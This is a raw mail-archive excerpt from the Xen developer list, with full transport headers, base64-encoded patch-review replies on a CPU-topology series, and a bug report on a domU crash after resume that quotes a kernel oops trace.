 =?utf-8?B?eGxqRTF1WDRYYUJzWUo1MFFGekRQaU1JM2NVV3d6V2ZBSEpuQTM4NDd2dmZL?=
 =?utf-8?B?RXNQTGMwOFZKenl0M2xmeEJXNFZMSVhqaWJFT1AwQm9MaFFRRUZiclZXM2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TElEY3NtUjIyWTYr?=
 =?utf-8?B?VktLdHF6akJrYzVQLzh6eHlNTnErL0hkZGVodEkvUWVVN3V5OVNiaWRQb09l?=
 =?utf-8?Q?oGR0uKA6Pc/NwjY27Q?=
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-Network-Message-Id: a23abced-2b92-4c8e-6954-08dee52ebe60
X-MS-Exchange-CrossTenant-originalarrivaltime: 19 Jul 2026 00:43:25.8325
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: Ri8U8hW29yIRhAWsKwuwu3psf2tmLKarftfDtu4lVfICDIm0oYTYG6iSGDhtgJpPgKaN55mR56CKNvFPzOCGFQ==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: OS9P286MB4124
X-purgate-ID: tlsNG-c201ff/1784421812-71CA82A1-DB68D248/0/0
X-purgate-type: clean
X-purgate-size: 7296

SGVsbG8sDQoNCj4gPiAtLS0gYS94ZW4vY29tbW9uL0tjb25maWcNCj4gPiArKysgYi94ZW4vY29t
bW9uL0tjb25maWcNCj4gPiBAQCAtMTQwLDYgKzE0MCw5IEBAIGNvbmZpZyBIQVNfRVhfVEFCTEUN
Cj4gPiAgY29uZmlnIEhBU19GQVNUX01VTFRJUExZDQo+ID4gIAlib29sDQo+ID4NCj4gPiArY29u
ZmlnIEhBU19HRU5FUklDX0NQVV9UT1BPTE9HWQ0KPiA+ICsJYm9vbA0KPiANCj4gWW91J3ZlIGdv
dCBpbmRlbnRhdGlvbiByaWdodCBoZXJlIGFuZCAuLi4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3BpL01ha2VmaWxlDQo+
ID4gQEAgLTEwLDMgKzEwLDQgQEAgb2JqLSQoQ09ORklHX1BNX09QKSArPSBwbS1vcC5vDQo+ID4N
Cj4gPiAgb2JqLSQoQ09ORklHX1g4NikgKz0gaHdyZWdzLm8NCj4gPiAgb2JqLSQoQ09ORklHX1g4
NikgKz0gcmVib290Lm8NCj4gPiArb2JqLSQoQ09ORklHX0FDUElfQ1BVX1RPUE9MT0dZKSArPSB0
b3BvbG9neS5pbml0Lm8NCj4gDQo+IEFzIGJlZm9yZSwgSSdkIHByZWZlciBpZiB0aGlzIHdhcyBh
cHBlbmRlZCB0byB0aGUgZWFybGllciBncm91cCBvZiBvYmplY3RzLg0KDQpPa2F5Lg0KDQpUaGFu
ayB5b3UsDQpIaXJva2F6dSBUYWthaGFzaGkuDQo=


From xen-devel-bounces@lists.xenproject.org Sun Jul 19 01:18:09 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 19 Jul 2026 01:18:09 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1365751.1615947 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlGAL-0007ur-Ii; Sun, 19 Jul 2026 01:18:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1365751.1615947; Sun, 19 Jul 2026 01:18:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlGAL-0007uk-FU; Sun, 19 Jul 2026 01:18:01 +0000
Received: by outflank-mailman (input) for mailman id 1365751;
 Sun, 19 Jul 2026 01:18:00 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wlGAJ-0007ue-2y
 for xen-devel@lists.xenproject.org; Sun, 19 Jul 2026 01:18:00 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlGAH-006PKi-QA
 for xen-devel@lists.xenproject.org; Sun, 19 Jul 2026 03:17:57 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a5c2545-5cb7-0a2a0a5109dd-0a2a45028e82-28
 for <xen-devel@lists.xenproject.org>; Sun, 19 Jul 2026 03:17:57 +0200
Received: from [52.101.228.124]
 (helo=OS0P286CU011.outbound.protection.outlook.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a5c25c3-6ca4-0a2a45020019-3465e47c9990-3
 for <xen-devel@lists.xenproject.org>; Sun, 19 Jul 2026 03:17:57 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TYWP286MB2955.JPNP286.PROD.OUTLOOK.COM (2603:1096:400:2ff::10)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.15; Sun, 19 Jul
 2026 01:17:52 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0223.012; Sun, 19 Jul 2026
 01:17:52 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=hw0tl64vjwTtRp3XvFiaHWINZEn5H30+tRswL48QXU4diwBH0dbIENTym6N3XIzd/kXrNjjLQSWYEin96IJOC3odStLwJ4n/MKQcsRULWoWlcRMclZww5rs5O01+UMrDu/UiNrCJn1F1Cmt+uwRrkSw7obSgRrHomdkYBO7yx3cOegDe6PRLAAdGfOXWtfey2FxUwl1GBBOiRavu3X/F+cruIr3ighJsTuwsennvoxOhDB5Xc8G01ilc0r/baofBFMHTUKb1PZ5oz41KK+hUhMZETc/mipXgHmQVMG8TtCIzgtxI69wwNo2ikfSJ6QelfLtCCtogvT+1CI9HQB/Dvw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=yUOkcfgMlaWNsnAsXo5wY3QU1xHSbMoppFOlZ9VFkNs=;
 b=Yb4wk5Eez5wuPLDaC1CwiY0jczr3coEyU3l4zmKbSBFMVTIJf/OU015WGtRVfJlWao9Ti8UrdZWWdpnUMDEZjOd5N3TMFHmBxGkLiUPk5BgjJedkm5GU7P8dphg4jjXnU+jq8pb9ALXUmaqmH0gYVisO/cHPhQ/TpqA//EotFW6WnSbcphNDpPOlYdQPg9/xbMuOw0Hp8KQP01lH2l6+cKmtTKatujdgbB9ktIuaPhsM0DG8oHP1fXwFv36gGzsEvj15wqywAFTscQwRgUsX5AmcM4Kn8VYW8RnNYg0RNly2l1C4R9yrz2ThsOY4MEo2s3ISNHfpEx63FiwP6RRcTA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=yUOkcfgMlaWNsnAsXo5wY3QU1xHSbMoppFOlZ9VFkNs=;
 b=rPn7Mr6DxEUhWTK2r6FPspG6d22gEy7dkE7rZv9SFttz39GNLZ4EPV3r/roTXIQXZclm/Osfq7SGUULVzs4ahNfXhkHycQr3wN0wfSzKXhMuN0KFOvJKnKLcZ6yGrHXlsy6O2ZYG4Klhd/Eu2GGAuMEJfskFz8F9K9AgObkEl8Y=
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: Jan Beulich <jbeulich@suse.com>
CC: "Mykyta_Poturai@epam.com" <Mykyta_Poturai@epam.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Michal Orzel <michal.orzel@amd.com>, Volodymyr
 Babchuk <Volodymyr_Babchuk@epam.com>, Andrew Cooper
	<andrew.cooper3@citrix.com>, Anthony PERARD <anthony.perard@vates.tech>,
	=?utf-8?B?Um9nZXIgUGF1IE1vbm7DqQ==?= <roger.pau@citrix.com>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Subject: RE: [PATCH v6 1/5] xen/device-tree: Parse 'cpu-map' node for CPU
 topology exploration
Thread-Topic: [PATCH v6 1/5] xen/device-tree: Parse 'cpu-map' node for CPU
 topology exploration
Thread-Index: AQHdE33lRSerj/u3kU6sfibELhxcvrZwJ2MAgAPosBA=
Date: Sun, 19 Jul 2026 01:17:52 +0000
Message-ID:
 <OS9P286MB722280A3A0E6E36B8194501B82C42@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
References: <20260714104445.919830-1-taka@valinux.co.jp>
 <20260714104445.919830-2-taka@valinux.co.jp>
 <f2f3572c-6a77-4f65-bf8e-82298d145a6e@suse.com>
In-Reply-To: <f2f3572c-6a77-4f65-bf8e-82298d145a6e@suse.com>
Accept-Language: ja-JP, en-US
Content-Language: ja-JP
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: OS9P286MB7222:EE_|TYWP286MB2955:EE_
x-ms-office365-filtering-correlation-id: 3093ae14-1efc-4a30-3952-08dee5338e0d
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|7416014|23010399003|376014|366016|1800799024|38070700021|56012099006|10067099003|4143699003|18002099003|22082099003;
x-microsoft-antispam-message-info:
 Yqf37U7NWefmyNV3bFdoptzQC0aTfQS1OFyRBH4Y6o7mvFvCGjkxUYio8aPU69Yoft4JanMDJtRK2oogUKLe89fQukO4YwtsTPnigqPE9stTvCKgCamLHQOMQsx07Cfpef359vLxqAJ5hKZnT2MnrJ0GJOC3wIvnkcoiGGW1AMCR9TJNztg8oi7vpkIepCs17/IMj9J8bICCI3KyWfAw3mk1x29nUb0rthYcxKbbrLDfKtJd8/d92tTpgO6LJucP+smGV87Aw7YPc6hM+vr1rNx/Ihi80ONjt26f0MaGFaI6a5qxL3Ukm56lpgzhLy7baSCQG+YGGX5y9jzshmoMjYhDVmsflEMK5EDJsjiYBCZS3u+jjVbHO8hbH7DJISMC7ZfKhZYFIXImVCcEfSgJ/jhbQbRCcPBlvaW8lLvwC1GHn8BwD0dfas6kHk9+4EEyDoUwXVzrXF1GGO+d83aGoiJsliM6AuU4+moa+n8O8J9iX1w1R3Odcj3M2hVUw8xOuECZsv9CYyGW7jYo1K2CQjuWaqISScGbieACe18eFJ5/rMLNvvVFJhspfghXGg/kTTLQDRBHOPMv9VqjWkRtWqzqcPOzhjB2bn7cfABeSVp443D1tfeunniDRY2ejOWgCoCNhvNlxcd7V0AiYRpvf5jdylWDAy8hsmJhDfY5gSgSF93UEoIFYs/34VQsdBaS5EaMrpb1RG7pkftVX8gJWdQCR5bayPsn816Ec0uJZps=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:ja;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(7416014)(23010399003)(376014)(366016)(1800799024)(38070700021)(56012099006)(10067099003)(4143699003)(18002099003)(22082099003);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?SzJqS3EwUUVOdDFTYWd3UkhOaDFkN045M3V5d0h4czQ0NGw3RGRsZFR5RWVP?=
 =?utf-8?B?UmRDUFVFNzBLcDI0eW5FRFphL3BibVRJTkZZRTdVN2xYTzJsaTRLOFhHZTlk?=
 =?utf-8?B?d3JOYlJGam0vdjFKa21hY04wWnI3TERMZWVzSU5CcStra3pUVUlodHlGYkZ2?=
 =?utf-8?B?d3didi8wMld3SWVzR2ZWM2t0T2VHT1Q1dkxURmFzaEJUc0hDc0lsc0E0K3NT?=
 =?utf-8?B?bVpUMFV5TVZJd3lIT0pZWnArNHdpbVNCckN0bWI0OVpwVmxDOERvTjREZjNv?=
 =?utf-8?B?cmtBaHBHYnVxUmF2SisyK3lCQ1NoRHlkcGIxaEhKblZyVS9Mc2JUMm01MERL?=
 =?utf-8?B?UGUyWGp6VER2THB1dGhjemFSbXQ3eTMzLzc0M2g3a09xMjUrcGpZMEE3Ylho?=
 =?utf-8?B?a3Y5M0VEV00ya3Z4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-8?B?U1Rxdm9XRzNDUGkrTnhObC80cEdVSWpDWDVSVVFxM0UwTzgrWHNoc2NLNHR6?=
 =?utf-8?B?RUQzUGMxUVhJZVI4c0dVREVNL0czQkh2SzVGV0g4ZlJTczlySTVtRXZGc3h0?=
 =?utf-8?Q?b/B/3j1uOVEk8fHmRT?=
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-Network-Message-Id: 3093ae14-1efc-4a30-3952-08dee5338e0d
X-MS-Exchange-CrossTenant-originalarrivaltime: 19 Jul 2026 01:17:52.2418
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: ho81MWCJHLSWiIclphrqw6UhOzcq0y0qvwCC93FgsBrq5LWtcLF3iXKyLhduDFG6cW5HuTX7vdMlWVHR9QG9AQ==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TYWP286MB2955
X-purgate-ID: tlsNG-720697/1784423877-F24B62AC-76BC05EE/0/0
X-purgate-type: clean
X-purgate-size: 1648

SGkgSmFuLA0KDQo+ID4gKy8qIFNQRFgtTGljZW5zZS1JZGVudGlmaWVyOiBHUEwtMi4wLW9ubHkg
Ki8NCj4gPiArDQo+ID4gKyNpZm5kZWYgWEVOX0NQVV9UT1BPTE9HWV9IDQo+ID4gKyNkZWZpbmUg
WEVOX0NQVV9UT1BPTE9HWV9IDQo+ID4gKw0KPiA+ICsjaW5jbHVkZSA8eGVuL2NwdW1hc2suaD4N
Cj4gPiArDQo+ID4gKyNpZmRlZiBDT05GSUdfR0VORVJJQ19DUFVfVE9Q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IGhvdHBsdWdnZWQgeWV0Lg0KDQpXaGls
ZSBpdCBtaWdodCBtYWtlIG1vcmUgc2Vuc2UgdG8gcmVtb3ZlIHRoZSBwZXItQ1BVIG1hc2tzIGlu
c3RlYWQsIA0KSSBoZXNpdGF0ZWQgdG8gZG8gc28gYmVjYXVzZSB0aGUgaW1wYWN0IG9uIHg4NiBY
ZW4gd291bGQgYmUgcXVpdGUgbGFyZ2UuDQoNClRoYW5rIHlvdSwNCkhpcm9rYXp1IFRha2FoYXNo
aS4NCg==


From xen-devel-bounces@lists.xenproject.org Sun Jul 19 02:00:27 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 19 Jul 2026 02:00:27 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1365760.1615956 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlGp9-0006Zz-HB; Sun, 19 Jul 2026 02:00:11 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1365760.1615956; Sun, 19 Jul 2026 02:00:11 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlGp9-0006Zs-Ds; Sun, 19 Jul 2026 02:00:11 +0000
Received: by outflank-mailman (input) for mailman id 1365760;
 Sun, 19 Jul 2026 02:00:10 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marmarek@invisiblethingslab.com>) id 1wlGp8-0006Zm-2G
 for xen-devel@lists.xenproject.org; Sun, 19 Jul 2026 02:00:10 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlGp4-00DD4B-Pw
 for xen-devel@lists.xenproject.org; Sun, 19 Jul 2026 04:00:07 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a5c2fa2-2eae-0a2a0a5409dd-0a2a4505ad5c-4
 for <xen-devel@lists.xenproject.org>; Sun, 19 Jul 2026 04:00:06 +0200
Received: from [103.168.172.154] (helo=fhigh-a3-smtp.messagingengine.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a5c2fa4-4cb1-0a2a45050019-67a8ac9a9a6d-3
 for <xen-devel@lists.xenproject.org>; Sun, 19 Jul 2026 04:00:05 +0200
Received: from phl-compute-04.internal (phl-compute-04.internal [10.202.2.44])
 by mailfhigh.phl.internal (Postfix) with ESMTP id 2E35414000F9;
 Sat, 18 Jul 2026 22:00:04 -0400 (EDT)
Received: from phl-frontend-04 ([10.202.2.163])
 by phl-compute-04.internal (MEProxy); Sat, 18 Jul 2026 22:00:04 -0400
Received: by mail.messagingengine.com (Postfix) with ESMTPA; Sat,
 18 Jul 2026 22:00:01 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=fm2 header.d=invisiblethingslab.com header.i="@invisiblethingslab.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=fm2 header.d=messagingengine.com header.i="@messagingengine.com" header.h="Cc:Content-Type:Date:Feedback-ID:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To:X-ME-Proxy:X-ME-Sender"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	invisiblethingslab.com; h=cc:cc:content-type:content-type:date
	:date:from:from:in-reply-to:in-reply-to:message-id:mime-version
	:references:reply-to:subject:subject:to:to; s=fm2; t=1784426404;
	 x=1784512804; bh=1ErJGdjEhth/Eob/VkTb8c1e1El++n8jCN1d1Yp6eYQ=; b=
	icBcboJw1LIQEZkaf585bweDQbRuRddZ5v2yVXBsgbHU1rfVsuwlx9VBp5Js6h4S
	WkwBBFxfjYlX5MXHJVbplhh4rITJF4MkWS9VA+JjKD1Bl3DXBOzhNWG+zWABkJIq
	XosykeBlcMiHRtUNQIURyYa+rK1eY2WGR3zPMHWa2WlP2qHe3utrAop1Vmx4ghQ+
	cobnduB6fYuBVuG1SkhZM7XX81Pd8DmnvhI4MruLGm6ur94J+VNxhtjKVkBtV/k+
	vPfn1EK00ZKeEuREaVVa6XbKmTGcmh+/LnSWVX01SOgTq7l6/9PmbWH5nyUyv/xT
	8vEapo/xIQ0aodFyjd0eTQ==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	messagingengine.com; h=cc:cc:content-type:content-type:date:date
	:feedback-id:feedback-id:from:from:in-reply-to:in-reply-to
	:message-id:mime-version:references:reply-to:subject:subject:to
	:to:x-me-proxy:x-me-sender:x-me-sender:x-sasl-enc; s=fm2; t=
	1784426404; x=1784512804; bh=1ErJGdjEhth/Eob/VkTb8c1e1El++n8jCN1
	d1Yp6eYQ=; b=ZvgdMtlYhfOuIfuT0L+UFUBQOBGk4UFdpTYc7nUz5wjYvKpC0PG
	wiKdwrIhwU3QeZ0urse1/ifxL5ca3Vl14JRMf/yOmFMoT4avgJ+OCGeMGdUIkg4Q
	g4E/ybMoqYOX6Fx7Kau5cLJhqvfUVJUPUpbtAsvrVyTFTgStyEF71Yk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0zG4vxnjML5eIXV+OJog2wKxUkZpoeUwXZ15OpSc/3Q89piU9UgZUr12wnQYxm+n/ipj9
    7uIeneCDuSHhc+WPHqQSIxq0nEvQjORL1MilTIjk1u1I0ocyyqPb3DCQWAVw
X-ME-Proxy: <xmx:oy9cakLWxW6bu13uFzpncAgZbpcoFxOov1RJMhxhH6S3WrYLNYcEUQ>
    <xmx:oy9carAB9RNqbiqa95mm50qMgTceHC272nXDzQA2tD53zhYHOjpKuw>
    <xmx:oy9cahpZp9eMHwzjGaGyjMBuz6PN8rL1C8c0PKqjOPcJfEH4AWDEiA>
    <xmx:oy9cauhVGUosMl8XwntffZhV124P_9EEhNI7L7Ug8TVwELnJSqk5Hg>
    <xmx:pC9cah0HKVBO0nP9h-oT31sjJdjMqNtdzFFBxJ4656xctAvw6t8HWntV>
Feedback-ID: i1568416f:Fastmail
Date: Sun, 19 Jul 2026 03:59:59 +0200
From: Marek =?utf-8?Q?Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: xen-devel <xen-devel@lists.xenproject.org>,
	Andrew Cooper <andrew.cooper3@citrix.com>
Subject: Re: domU crash when resuming from suspend - Xen 4.22
Message-ID: <alwvn_K_miQgiiIf@mail-itl>
References: <ajUm2SQtMD6Y-K9S@mail-itl>
 <alZt_boT-hJuVlD6@mail-itl>
 <CAHt6W4eBibmZ3fXd=sW4=nbuYV1QQMCQzEX=L7FaqL5aXeOvGQ@mail.gmail.com>
 <aluHsZA0hK8FcKnM@mail-itl>
MIME-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
	protocol="application/pgp-signature"; boundary="ueeXD7YG02vtiuxW"
Content-Disposition: inline
In-Reply-To: <aluHsZA0hK8FcKnM@mail-itl>
X-purgate-ID: tlsNG-c201ff/1784426406-243112A1-3D61557F/0/0
X-purgate-type: clean
X-purgate-size: 7542

--ueeXD7YG02vtiuxW
Content-Type: text/plain; protected-headers=v1; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
Date: Sun, 19 Jul 2026 03:59:59 +0200
From: Marek =?utf-8?B?PT91dGYtOD9RP01hcmN6eWtvd3NraS1HPUMzPUIzcmVja2k/PQ==?= <marmarek@invisiblethingslab.com>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: xen-devel <xen-devel@lists.xenproject.org>,
	Andrew Cooper <andrew.cooper3@citrix.com>
Subject: Re: domU crash when resuming from suspend - Xen 4.22

On Sat, Jul 18, 2026 at 04:03:29PM +0200, Marek Marczykowski-G=C3=B3recki w=
rote:
> On Fri, Jul 17, 2026 at 09:22:47PM +0100, Frediano Ziglio wrote:
> > On Tue, 14 Jul 2026 at 18:12, Marek Marczykowski-G=C3=B3recki
> > <marmarek@invisiblethingslab.com> wrote:
> > >
> > > On Fri, Jun 19, 2026 at 01:24:09PM +0200, Marek Marczykowski-G=C3=B3r=
ecki wrote:
> > > > Hi,
> > > >
> > > > I'm continuing testing 4.22 and found this:
> > > >
> > > > When a domU is suspended (even without host suspend) it crashes on
> > > > resume with:
> > > >
> > > >     [   24.374629] BUG: kernel NULL pointer dereference, address: 0=
000000000000020
> > > >     [   24.374647] #PF: supervisor read access in kernel mode
> > > >     [   24.374657] #PF: error_code(0x0000) - not-present page
> > > >     [   24.374668] PGD 0 P4D 0
> > > >     [   24.374675] Oops: Oops: 0000 [#1] SMP NOPTI
> > > >     [   24.374685] CPU: 0 UID: 0 PID: 19 Comm: migration/0 Not tain=
ted 6.18.31-1.qubes.13.fc41.x86_64 #1 PREEMPT(full)
> > > >     [   24.374705] Stopper: multi_cpu_stop+0x0/0x140 <- __stop_cpus=
=2Econstprop.0+0x6f/0xb0
> > > >     [   24.374723] RIP: 0010:multi_cpu_stop+0x63/0x140
> > > >     [   24.374734] Code: 49 0f a3 1c 24 41 0f 92 c6 c7 44 24 04 00 =
00 00 00 31 ed 49 8d 5f 24 eb 2d 41 83 fd 02 74 6e 41 83 fd 03 74 49 f0 ff =
0b 75 13 <41> 8b 47 20 41 8b 77 10 83 c0 01 41 89 77 24 41 89 47 20 41 83 fd
> > > >     [   24.374764] RSP: 0018:ffffc900000abe30 EFLAGS: 00010046
> > > >     [   24.374775] RAX: 0000000000000000 RBX: ffffc90000a13de4 RCX:=
 0000000000000404
> > > >     [   24.374790] RDX: 0000000000000040 RSI: ffffffffffffffff RDI:=
 0000000000770ef0
> > > >     [   24.374801] RBP: 0000000000000002 R08: ffffc900000abc80 R09:=
 ffffc900000abc8c
> > > >     [   24.374813] R10: 0000000000000000 R11: ffff88801e81cdc0 R12:=
 ffffffff81835ac0
> > > >     [   24.374825] R13: 0000000000000000 R14: 0000000000000000 R15:=
 0000000000000000
> > > >     [   24.374837] FS:  0000000000000000(0000) GS:ffff88809b369000(=
0000) knlGS:0000000000000000
> > > >     [   24.374850] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> > > >     [   24.374860] CR2: 0000000000000020 CR3: 000000000d6a2002 CR4:=
 0000000000770ef0
> > > >     [   24.374873] PKRU: 00000000
> > > >     [   24.374877] Call Trace:
> > > >     [   24.374884]  <TASK>
> > > >     [   24.374891]  ? __pfx_multi_cpu_stop+0x10/0x10
> > > >     [   24.374900]  cpu_stopper_thread+0xa3/0x170
> > > >     [   24.374908]  ? __pfx_smpboot_thread_fn+0x10/0x10
> > > >     [   24.374917]  smpboot_thread_fn+0xf3/0x220
> > > >     [   24.374925]  kthread+0xfc/0x240
> > > >     [   24.374933]  ? __pfx_kthread+0x10/0x10
> > > >     [   24.374940]  ? __pfx_kthread+0x10/0x10
> > > >     [   24.374949]  ret_from_fork+0x158/0x170
> > > >     [   24.374957]  ? __pfx_kthread+0x10/0x10
> > > >     [   24.374965]  ret_from_fork_asm+0x1a/0x30
> > > >     [   24.374973]  </TASK>
> > > >     [   24.374978] Modules linked in: snd_seq_dummy snd_hrtimer snd=
_seq snd_seq_device snd_timer snd soundcore cfg80211 rfkill vfat fat xenfs =
binfmt_misc nft_reject_inet nf_reject_ipv4 nf_reject_ipv6 nft_reject nft_ct=
 nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nf_tables intel_rapl_msr intel_=
rapl_common intel_uncore_frequency_common intel_pmc_ssram_telemetry intel_v=
sec polyval_clmulni ghash_clmulni_intel xen_netfront xen_privcmd xen_gntdev=
 xen_gntalloc xen_blkback xen_evtchn fuse loop nfnetlink ip_tables overlay =
xen_blkfront
> > > >     [   24.375064] CR2: 0000000000000020
> > > >     [   24.375071] ---[ end trace 0000000000000000 ]---
> > > >     [   24.375080] RIP: 0010:multi_cpu_stop+0x63/0x140
> > > >     [   24.375089] Code: 49 0f a3 1c 24 41 0f 92 c6 c7 44 24 04 00 =
00 00 00 31 ed 49 8d 5f 24 eb 2d 41 83 fd 02 74 6e 41 83 fd 03 74 49 f0 ff =
0b 75 13 <41> 8b 47 20 41 8b 77 10 83 c0 01 41 89 77 24 41 89 47 20 41 83 fd
> > > >     [   24.375115] RSP: 0018:ffffc900000abe30 EFLAGS: 00010046
